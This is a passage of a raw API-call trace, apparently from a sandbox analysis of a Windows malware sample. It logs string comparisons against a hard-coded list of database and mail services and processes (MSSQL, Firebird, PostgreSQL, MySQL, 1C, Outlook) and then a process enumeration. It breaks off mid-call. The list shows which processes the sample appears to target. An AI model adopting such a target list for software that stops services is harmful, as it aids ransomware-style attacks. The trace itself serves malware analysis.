lpString2="RpcSs") returned 1 [0207.367] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0207.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0207.367] lstrlenW (lpString="SamSs") returned 5 [0207.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0207.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0207.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0207.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0207.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0207.367] lstrlenW (lpString="Schedule") returned 8 [0207.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0207.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0207.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0207.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0207.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0207.367] lstrlenW (lpString="SENS") returned 4 [0207.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0207.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0207.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0207.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0207.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0207.367] lstrlenW (lpString="ShellHWDetection") returned 16 [0207.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0207.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0207.368] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0207.368] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0207.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0207.368] lstrlenW (lpString="Spooler") returned 7 [0207.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0207.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0207.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0207.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0207.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0207.368] lstrlenW (lpString="sppsvc") returned 6 [0207.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0207.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0207.368] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0207.368] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0207.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0207.368] lstrlenW (lpString="SysMain") returned 7 [0207.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0207.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0207.368] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0207.368] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0207.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0207.368] lstrlenW (lpString="Themes") returned 6 [0207.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0207.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0207.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0207.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0207.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0207.369] lstrlenW (lpString="TrkWks") returned 6 [0207.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0207.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0207.369] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0207.369] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0207.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0207.369] lstrlenW (lpString="UxSms") returned 5 [0207.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0207.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0207.369] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0207.369] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0207.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0207.369] lstrlenW (lpString="WdiServiceHost") returned 14 [0207.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0207.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0207.369] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0207.369] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0207.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0207.369] lstrlenW (lpString="WdiSystemHost") returned 13 [0207.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0207.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0207.369] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0207.369] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0207.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0207.369] lstrlenW (lpString="WinDefend") returned 9 [0207.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0207.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0207.370] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0207.370] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0207.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0207.370] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0207.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0207.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0207.370] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0207.370] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0207.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0207.370] lstrlenW (lpString="Winmgmt") returned 7 [0207.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0207.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0207.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0207.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0207.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0207.370] lstrlenW (lpString="wscsvc") returned 6 [0207.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0207.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0207.370] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0207.370] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0207.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0207.370] lstrlenW (lpString="wuauserv") returned 8 [0207.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0207.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0207.370] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0207.370] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0207.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0207.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0207.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0207.374] Process32FirstW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.375] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0207.376] lstrlenW (lpString="System") returned 6 [0207.376] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0207.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0207.376] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0207.376] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0207.377] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0207.377] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0207.377] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0207.377] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0207.378] lstrlenW (lpString="smss.exe") returned 8 [0207.378] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0207.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0207.378] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0207.378] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0207.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0207.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0207.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0207.378] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.379] lstrlenW (lpString="csrss.exe") returned 9 [0207.379] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0207.380] lstrlenW (lpString="wininit.exe") returned 11 [0207.380] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.381] lstrlenW (lpString="csrss.exe") returned 9 [0207.381] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0207.382] lstrlenW (lpString="winlogon.exe") returned 12 [0207.382] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0207.383] lstrlenW (lpString="services.exe") returned 12 [0207.383] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0207.384] lstrlenW (lpString="lsass.exe") returned 9 [0207.384] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0207.385] lstrlenW (lpString="lsm.exe") returned 7 [0207.385] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.386] lstrlenW (lpString="svchost.exe") returned 11 [0207.386] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.386] lstrlenW (lpString="svchost.exe") returned 11 [0207.387] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.387] lstrlenW (lpString="svchost.exe") returned 11 [0207.387] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.388] lstrlenW (lpString="svchost.exe") returned 11 [0207.388] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.389] lstrlenW (lpString="svchost.exe") returned 11 [0207.389] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.390] lstrlenW (lpString="audiodg.exe") returned 11 [0207.390] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.391] lstrlenW (lpString="svchost.exe") returned 11 [0207.391] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.797] lstrlenW (lpString="svchost.exe") returned 11 [0207.797] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0207.798] lstrlenW (lpString="dwm.exe") returned 7 [0207.798] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.798] lstrlenW (lpString="explorer.exe") returned 12 [0207.798] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.799] lstrlenW (lpString="spoolsv.exe") returned 11 [0207.799] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0207.800] lstrlenW (lpString="taskhost.exe") returned 12 [0207.800] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.801] lstrlenW (lpString="svchost.exe") returned 11 [0207.801] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0207.801] lstrlenW (lpString="taskeng.exe") returned 11 [0207.801] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0207.802] lstrlenW (lpString="taskhost.exe") returned 12 [0207.802] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0207.803] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0207.803] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0207.803] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0207.803] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0207.804] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0207.804] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0207.805] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0207.805] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0207.806] lstrlenW (lpString="always_winds.exe") returned 16 [0207.806] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0207.806] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0207.806] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0207.807] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0207.807] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0207.808] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0207.808] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0207.808] lstrlenW (lpString="alienwed.exe") returned 12 [0207.808] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0207.809] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0207.809] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0207.810] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0207.810] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0207.811] lstrlenW (lpString="mp beginners.exe") returned 16 [0207.811] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0207.811] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0207.811] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0207.812] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0207.812] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0207.813] lstrlenW (lpString="harassment.exe") returned 14 [0207.813] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0207.813] lstrlenW (lpString="francis-communication.exe") returned 25 [0207.814] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0207.814] lstrlenW (lpString="gccinformational.exe") returned 20 [0207.814] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0207.815] lstrlenW (lpString="diploma.exe") returned 11 [0207.815] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0207.816] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0207.816] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.817] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0207.817] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.817] lstrlenW (lpString="svchost.exe") returned 11 [0207.818] Process32NextW (in: hSnapshot=0x178, 